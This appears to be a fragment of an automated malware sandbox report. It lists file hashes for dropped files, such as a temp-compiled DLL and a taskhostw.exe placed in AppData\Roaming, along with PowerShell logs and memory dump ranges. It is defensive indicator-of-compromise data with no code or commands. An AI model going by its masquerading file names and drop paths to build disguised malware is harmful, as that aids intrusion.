| SHA256 | 21d7b2d886e9a8c3cf70d60b612151ecf35df156524dda00bc5f0c14df45b3ac |
| SHA512 | bfce3f87e8f97f1a8f149c7f3e172e312019a4189fd1e33bdb7d2c617c6bbf41f548e91c12f71b5e8215397138ea643430f0ee87d72b33760c0dd2e3b8ae4d96 |
\??\c:\Users\Admin\AppData\Local\Temp\upyaxiqs\CSC72648FF7DFE243839548E0CE4642788.TMP
| MD5 | 31e4ea0b6e9f53b01f3f62d4f6fddbb1 |
| SHA1 | f8f9d0dd2f1084fcc135f65b389c605a868526d9 |
| SHA256 | 4326b0751eb1dc2abfe8affd7a197fc20e8f6c1637a4780cbc78d40ead18ceea |
| SHA512 | 3374c75172bd5a5ccfb6944e18ee11b11cbdb1b6a1698e59c4480b0fe4b0c519f6a5cfbd672472c2b9fa4f415ff997761e3b3b9c6e3811404077e56bb075907c |
C:\Users\Admin\AppData\Local\Temp\RESB054.tmp
| MD5 | 4164c6c34710670605f609249d20d82a |
| SHA1 | 73d79b1b9bd03c3b708b82128278d1dd189f8103 |
| SHA256 | 24d8b7619fd5b4fdd3f63b838370dd616fa03745069151e0a5443e8c1b95ff95 |
| SHA512 | a85c699832692cddbad083a96dae6e2e9b039dc8a11941996a60d2a83f671cb7e713b98d0d12de7f7a8c899f944cb7c208ae781fb3f25a1c55eb3cde2ae11ebf |
memory/772-64-0x0000000006910000-0x0000000006918000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\upyaxiqs\upyaxiqs.dll
| MD5 | a8c1b83835a4b540b879f2308ad810a4 |
| SHA1 | 1eac1fbebcddf6f0324f42a247258020dad67f49 |
| SHA256 | 4cc471b19f7d4bc201caa59e7ca643faa619243bdccd29b99c7d230122be9c50 |
| SHA512 | ad2d547ed29d3e9e6e449a8ca69d46ed645415840ac4d6d29652eb11bbfe34b3c4270461c8ad7cfa627685be2a39640cb56cde5da60d582922a0cc477717536d |
memory/772-70-0x000000007158E000-0x000000007158F000-memory.dmp
memory/772-71-0x0000000071580000-0x0000000071D30000-memory.dmp
memory/772-72-0x0000000007730000-0x0000000007752000-memory.dmp
memory/772-73-0x00000000085E0000-0x0000000008B84000-memory.dmp
C:\Users\Admin\AppData\Roaming\taskhostw.exe
| MD5 | 3e2f27edd3deacd8f08f6ed1133b2040 |
| SHA1 | 060e3218949c5a006bb8607e8228e6539b737bfb |
| SHA256 | 163a25e2b68ed09eb4cf82f28c87568969091764bdfb4140b4675a00e2d2ed86 |
| SHA512 | da437c39e3337f6750c3b9353c71999c16415ec1fecdaa4bba676bb12207cb51a7258b91b175d1893ae4e9111fa9ccf027151ad7527d9d78df59f86436cfdb42 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | e6cdfea27d70242a9b6934ea227d8b7d |
| SHA1 | 00747deb2dfd8db74300702468199f737ee3abcc |
| SHA256 | e824b1d7d29b3cf0e518571eeaeef902b68d7c5c26f193122dfa3f03e15aed42 |
| SHA512 | 969b6b2dbf9f0d28dab21121e7adee9892632d145a73a8730d39b3cf590cd5d4350a85683c220be28d5abcaf82ed795718c613d0e98f8d5feceec39ce8714b84 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoweRsHELl.ExE.log
| MD5 | 968cb9309758126772781b83adb8a28f |
| SHA1 | 8da30e71accf186b2ba11da1797cf67f8f78b47c |
| SHA256 | 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a |
| SHA512 | 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3 |
memory/772-88-0x0000000071580000-0x0000000071D30000-memory.dmp
memory/4696-90-0x0000000000400000-0x0000000000426000-memory.dmp
memory/4696-91-0x0000000005780000-0x000000000581C000-memory.dmp
memory/4696-92-0x0000000006910000-0x0000000006960000-memory.dmp
memory/4696-93-0x0000000006B30000-0x0000000006CF2000-memory.dmp
memory/4696-94-0x0000000006A00000-0x0000000006A92000-memory.dmp
memory/4696-95-0x0000000006960000-0x000000000696A000-memory.dmp